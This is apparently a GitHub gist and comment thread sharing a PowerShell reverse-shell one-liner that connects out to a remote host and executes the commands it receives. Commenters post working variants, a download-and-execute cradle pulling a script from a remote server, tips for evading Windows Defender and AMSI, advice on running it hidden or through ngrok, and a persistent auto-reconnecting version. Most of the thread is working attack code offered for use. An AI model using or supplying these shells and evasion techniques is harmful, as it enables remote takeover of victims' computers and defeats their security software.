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@egre55
Last active February 25, 2024 22:28
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powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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ghost commented Jul 25, 2020 via email

@Vedant-Bhalgama
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Also it ran first time but second time it was detected.

@egre55
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egre55 commented Jul 25, 2020

try this: powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.0.2.4:443/mypowershell.ps1')" @Vedant-Bhalgama

with your reverse shell looking like:

$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

you should get a shell on your Netcat listener on port 80

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ghost commented Jul 25, 2020 via email

@egre55
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egre55 commented Jul 25, 2020

if you want to evade Defender, you can replace "PS " + (pwd).Path + "> " with "#"

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ghost commented Jul 25, 2020 via email

@Vedant-Bhalgama
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Yes! I am not using it for Non Ethical purposes bro! I am a Ethical Hacker and need this for pentensting purpose!

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ghost commented Jul 25, 2020 via email

@Vedant-Bhalgama
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Script Is running now but it gives detection error
@egre55, What were you telling to replace? to evade defender? Can u do the changes in the code?

Capture

@epicn1337
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epicn1337 commented Aug 21, 2020

One way or the other this script can be a disaster this is the best way i run such script::::::::::::: make sure you add the powershell -nop -c followed:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attackerIP',attackerPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

@Vedant-Bhalgama
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Which listener can be used for this? NetCat?

@egre55
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egre55 commented Aug 21, 2020

@Vedant-Bhalgama
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It got detected as MaliciousContent, Anything else? Should I try Obfuscation?

@Yashraj-Garnayak
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After executing it in PowerShell with IP and port changed but it is showing....... "new object exception calling ctor with 2 argument s connection attempt failed " what to do because I am not a PowerShell expert.
I run the netcat server in the Virtualbox

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ghost commented Nov 12, 2020 via email

@munteanulc
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munteanulc commented Jan 11, 2021

The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

@cnibbler
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Hi, Kindly check my fork.

Just a small change to the way commands are run to ensure any non-stdout text is sent back. (except for confirmation prompts).

Without this, due to the way in which the output of a command run by Invoke-Expression is handled, stderr output never gets sent back even with '2>&1' specified in your current format.

Thanks,

@pentestblogin
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[vry nice )

@pretech86
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i tried to run it silently by -WindowsStyle Hidden -NoLog but it not working , how can i run it silently

@CalfCrusher
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The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

This actually still works and doesn't trigger anything

@Developer-Mike
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Hi, can someone explain how this exactly works? Why is (pwd).Path triggers the antivirus. And is this reverse shell only available until a restart of the victim's pc? I didn't found any explanation online. Thanks in advance.

@rikuru-to865
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good job!
It detected AMSI. but I used amsi bypass script before this script running.so this script runs successfully!

@mappl3
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mappl3 commented Feb 1, 2022

Looks like the shell did not return stderr, is it possible to return stderr as well?

@egre55
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egre55 commented Feb 1, 2022

hey @mappl3, feel free to add this in your fork and i'll update it ;) . you can also append 2>&1 to the end of a command to get stderr

@Veids
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Veids commented Oct 4, 2022

Got stderr working with this modification:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
And if you want to catch some errors:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);try { $sendback = (iex ". { $data } 2>&1" | Out-String ); } catch { $sendback = "$_`n"}; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

@egre55
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egre55 commented Oct 4, 2022

that's the one-liner updated with your addition for stderr. thanks for your contribution @Veids!

@ChillVibesMushroom
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The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

This actually still works and doesn't trigger anything

How would I run this from a bat file and what book do you recommend to learn powershell scripting on this level

@MarKaliGG
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Thanks for all your works! I have a question , how can i use this ps1 whit ngrok? If i change ip and port doesnt work on nc -nlvp 4444 (port i forward whit ngrok )

@emilyanncr
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Thanks for all your works! I have a question , how can i use this ps1 whit ngrok? If i change ip and port doesnt work on nc -nlvp 4444 (port i forward whit ngrok )

In order to connect via port 4444, port 4444 has to also be open on your target. Try a different port like 53

@hktalent
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while($true){try{$c=New-Object System.Net.Sockets.TCPClient("your server",8880);$s=$c.GetStream();$nl=[Environment]::NewLine;$m=[System.Text.Encoding]::UTF8.GetBytes('asprsh'+$nl+'{"a":"a"}'+$nl);$s.Write($m,0,$m.Length);$s.Flush();[byte[]]$b=0..65535|%{0};while($true){if(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$ec=@("exit", "quit", "bye", "logout", "close");if($d -in $ec) {continue;} else { $g=(iex $d 2>&1 | Out-String );$w=$g+$nl+"PS "+(pwd).Path+"# ";$p=([text.encoding]::ASCII).GetBytes($w);$s.Write($p,0,$p.Length);$s.Flush()}};$c.Close();}catch{Start-Sleep -Seconds 2};};

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